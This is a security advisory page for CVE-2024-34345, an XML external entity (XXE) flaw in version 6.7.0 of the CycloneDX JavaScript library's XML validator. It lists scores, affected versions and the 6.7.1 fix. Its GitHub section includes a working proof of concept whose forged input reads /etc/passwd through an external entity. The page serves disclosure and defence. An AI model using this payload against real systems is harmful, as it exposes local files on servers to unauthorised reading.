8.1high
@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
- Severity
- 8.1high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.92% (higher than 61% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-38gf-rh2w-gmj7
Description
The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| CycloneDX cyclonedx-javascript-library | = 6.7.0 | CVE List |
| @cyclonedx/cyclonedx-library (npm) | from 6.7.0 before 6.7.1 | GitHub Advisory Database |
All scores
| GitHub_M | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.
GitHub Advisory Database
Impact
XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.
POC
const {
Spec: { Version },
Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');
const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
<components>
<component type="library">
<name>testing</name>
<version>1.337</version>
<licenses>
<license>
<id>&xxe;</id><!-- << XML external entity (XXE) injection -->
</license>
</licenses>
</component>
</components>
</bom>`;
// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
console.error('validation error', ve);
});
Patches
This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .
Workarounds
Do not run the provided XML validator on untrusted inputs.
References
- issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.
NVD (es)
La librería JavaScript CycloneDX contiene la funcionalidad principal de OWASP CycloneDX para JavaScript. En 6.7.0, las inyecciones de entidades externas XML eran posibles al ejecutar el validador XML proporcionado en entradas arbitrarias. Este problema se solucionó en la versión 6.7.1.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-34345 changed 2024-08-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-38gf-rh2w-gmj7 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2024-34345 changed 2026-06-17 | Public domain |